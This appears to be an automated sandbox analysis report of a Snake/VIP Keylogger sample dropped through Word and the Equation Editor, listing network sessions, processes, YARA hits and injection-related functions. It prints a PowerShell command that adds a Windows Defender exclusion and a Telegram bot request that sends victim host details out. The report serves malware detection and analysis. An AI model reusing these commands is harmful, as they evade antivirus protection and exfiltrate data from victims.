2024-09-26 05:47:33 UTC	676	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:33 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 81712 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1vFCz3JDxSoeP673ZInDfonITXMczHAniIjDM3hAOw1lLIJX0Y9VHs%2FmKTjHp%2B8%2BhguHnLWZYWVmzJUgzm9YYlDNrVYzQ5OR1D9Sez4vld37njcFMyvKn8x3I2wmtdi893tJH6Oc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c90f5c0ff830f4d-EWR
2024-09-26 05:47:33 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 05:47:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49170	188.114.96.3	443	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 05:47:38 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 05:47:38 UTC	680	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:38 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 81717 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yUHGF3n1JAWAMn5XCoKxTz8li7GejeXZ14v97TrfZeRi3YZfbdjbahM%2BXuu8%2BHwbzz56QF2ToPVFLxu3v9I6VcBFu7tzBL7F1P%2FbllUBPp6a8m3%2BBbKFN7p%2BrtOxH4zccHqHBpal"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c90f5de6b1fc34a-EWR
2024-09-26 05:47:38 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 05:47:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49172	188.114.97.3	443	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 05:47:40 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 05:47:40 UTC	708	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:40 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 81719 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U07zgAf4v%2FMkVtUfgWEvKp9ZgauIADV3qq31EUfcv5zp569zAhJwccPq6ToPfFDob%2BT8IOyWrQtwLFx%2BzelxJ%2Bhfwu97Hu8L0Jr0LSSQrzT0OImkWWu7jes2w6mKYBFnqchbe4Uk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c90f5eadd481811-EWR alt-svc: h3=":443"; ma=86400
2024-09-26 05:47:40 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 05:47:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49174	188.114.97.3	443	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 05:47:42 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 05:47:42 UTC	676	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:42 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 81721 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pS9z5Oec3zP868xp%2Bae17OsDL7yHgIKbSO01gBWDEoxSf7NYRT%2FsZxkkIfCUrSmekm1wF2IZtbrkWwr3lj2ggA46%2BPtrzXcngAVyJoYFeVYsWr3FZNdpyBLPsCAXUn03FcytoW0E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c90f5f45f144392-EWR
2024-09-26 05:47:42 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 05:47:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49176	188.114.96.3	443	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 05:47:43 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 05:47:43 UTC	680	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 05:47:43 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 81722 Last-Modified: Wed, 25 Sep 2024 07:05:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rAw6wmyEgkaIFGGVCBVfUrn75pTqiHBHvhgvN3OTRzueD3qxuBPhCCJmRyr2X%2FyCx%2BxOtRn3%2Fq4mdi%2BjytradasH%2BQsKqAIqKu0h7SMOSmBvhTRFwTewBX2qGVSTHSkPGI3xksky"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c90f5fc3aa519aa-EWR
2024-09-26 05:47:43 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 05:47:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49177	149.154.167.220	443	3616	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 05:47:44 UTC	352	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%209/26/2024%20/%204:38:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-09-26 05:47:44 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 26 Sep 2024 05:47:44 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-26 05:47:44 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	01:47:14
Start date:	26/09/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f8a0000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	01:47:15
Start date:	26/09/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:47:21
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"
Imagebase:	0xe90000
File size:	704'000 bytes
MD5 hash:	42F2CE52A57E0D72EAC297A532354E42
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:47:23
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"
Imagebase:	0x310000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:47:23
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Roaming\vvndewepeter91026.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\vvndewepeter91026.exe"
Imagebase:	0xe90000
File size:	704'000 bytes
MD5 hash:	42F2CE52A57E0D72EAC297A532354E42
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:47:40
Start date:	26/09/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	15.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	116
Total number of Limit Nodes:	3

Executed Functions

Function 0026604B Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.402461987.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_vvndewepeter91026.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0a77ab3401225d0ae4a94dc9977cbbf88b8d12f4d5eca6615ff512a1d1773a9
Instruction ID: afee317b05d7e5a9baddac828919e501b50c0e8d397e34490751a8088e4124d5
Opcode Fuzzy Hash: e0a77ab3401225d0ae4a94dc9977cbbf88b8d12f4d5eca6615ff512a1d1773a9
Instruction Fuzzy Hash: 00512674A25229CFEB50EF68C688A9DF7FAFF4A304F148694C44DAB202C7709995CF41

Function 0026C525 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 330
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0026C7F7

Strings

44I, xrefs: 0026C74A
44I, xrefs: 0026C93F
44I, xrefs: 0026C87A

Memory Dump Source

Source File: 00000005.00000002.402461987.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_vvndewepeter91026.jbxd

Similarity

API ID: CreateProcess
String ID: 44I$44I$44I
API String ID: 963392458-3005084644
Opcode ID: f21e9daaf660a285bfb92d79c97cce25e8480867387bba7793f9ec35a92e5342
Instruction ID: 38212f52d8f48db7ccbe794e46fff8150285b380a0d7e6f9d7e490f18f4468db
Opcode Fuzzy Hash: f21e9daaf660a285bfb92d79c97cce25e8480867387bba7793f9ec35a92e5342
Instruction Fuzzy Hash: 01C15570D1021ACFDF24DFA4C845BEEBBB1BB49300F1491A9E849B7240DB749A95CF95

Function 0026C530 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0026C7F7

Strings

44I, xrefs: 0026C74A
44I, xrefs: 0026C93F
44I, xrefs: 0026C87A

Memory Dump Source

Source File: 00000005.00000002.402461987.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_vvndewepeter91026.jbxd

Similarity

API ID: CreateProcess
String ID: 44I$44I$44I
API String ID: 963392458-3005084644
Opcode ID: 363c5c8e261b93122c698745853a8399a76b4c29902eb9668333c0a7069db3fa
Instruction ID: 1914f35057d7b027c1f1f9f90bc28d2b01e9e9f737246b965704b50fc9e57aa8
Opcode Fuzzy Hash: 363c5c8e261b93122c698745853a8399a76b4c29902eb9668333c0a7069db3fa
Instruction Fuzzy Hash: 71C14470D1021ACFDF24DFA4C845BEEBBB1BB49300F1491AAE859B7240DB749A94CF95

Function 0026C190 Relevance: 1.6, APIs: 1, Instructions: 122
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0026C26B

Memory Dump Source

Source File: 00000005.00000002.402461987.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_vvndewepeter91026.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d9ad2df1066f26c868894cfdb1444edb6a8a499bd9f2a46ae404fca07169f855
Instruction ID: 72ddf03b5628e2c4f2a6c6673838ab337108377c99e1621053fffad8dfb16797
Opcode Fuzzy Hash: d9ad2df1066f26c868894cfdb1444edb6a8a499bd9f2a46ae404fca07169f855
Instruction Fuzzy Hash: 1541B9B4D01248DFCF00CFA9D984AEEBBB1BB49314F24942AE814BB210D375AA55CF64

Function 0026C198 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0026C26B

Memory Dump Source

Source File: 00000005.00000002.402461987.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_vvndewepeter91026.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 38702f7e6f0a057afaedcf6738be3ebe122da9f8036e26a21a4055443bc9da72
Instruction ID: f677baabff8ae20d34ff96cb3d21880d4958050e47fabedd6c75f0308cd0e1a8
Opcode Fuzzy Hash: 38702f7e6f0a057afaedcf6738be3ebe122da9f8036e26a21a4055443bc9da72
Instruction Fuzzy Hash: 3941B9B4D01248DFCF00CFA9D984AEEBBB1BB49310F20942AE814B7210C334AA45CF64

Function 0026C2F1 Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0026C3AA

Memory Dump Source

Source File: 00000005.00000002.402461987.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_vvndewepeter91026.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: ca93a044d15ec2492abfae51078439d477633f75795309c2d05a8935d65392a5
Instruction ID: 21ae6b0110559c0a94b7d32058f2a8ade3e3761c0b1e39c82bc5956309d9e385
Opcode Fuzzy Hash: ca93a044d15ec2492abfae51078439d477633f75795309c2d05a8935d65392a5
Instruction Fuzzy Hash: 8041AAB9D00259DFCF00CFA9D884AEEFBB1BB49314F20942AE814B7250C775AA55CF64

Function 0026C2F8 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0026C3AA

Memory Dump Source

Source File: 00000005.00000002.402461987.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_vvndewepeter91026.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f5f323a72181d8c11241d0595191ee3a20020532fa8ae83c59ac981b1291f573
Instruction ID: 73cd64871dbc6ca42282a60f8b250793b415482c7cb62ea50707be5e5a28913b
Opcode Fuzzy Hash: f5f323a72181d8c11241d0595191ee3a20020532fa8ae83c59ac981b1291f573
Instruction Fuzzy Hash: 4B4199B9D00259DFCF00CFA9D884AEEFBB1BB49314F20942AE814B7210D775AA55CF64

Function 0026C068 Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0026C11A

Memory Dump Source

Source File: 00000005.00000002.402461987.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_vvndewepeter91026.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 66214713405d53295970267d199e6b8654f476df0d460066f80ca4a05d8ae682
Instruction ID: 66923d21d672ce0668fa4399b09514682425b9bf0cd216a4f8b842bb2ec778b3
Opcode Fuzzy Hash: 66214713405d53295970267d199e6b8654f476df0d460066f80ca4a05d8ae682
Instruction Fuzzy Hash: 9C41A9B9D00248DFCF10CFA9D984AEEFBB1BB49310F20942AE819B7211D775A955CF54

Function 0026C070 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0026C11A

Memory Dump Source

Source File: 00000005.00000002.402461987.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_260000_vvndewepeter91026.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7cee802a76023a0afef2042cc824940d3ff8aab71337df6a40a8ee059db78426
Instruction ID: d87b40d53c0345fc242bb11469ee9b38d6d8351a5751699029fb4bc32ee50e6c
Opcode Fuzzy Hash: 7cee802a76023a0afef2042cc824940d3ff8aab71337df6a40a8ee059db78426
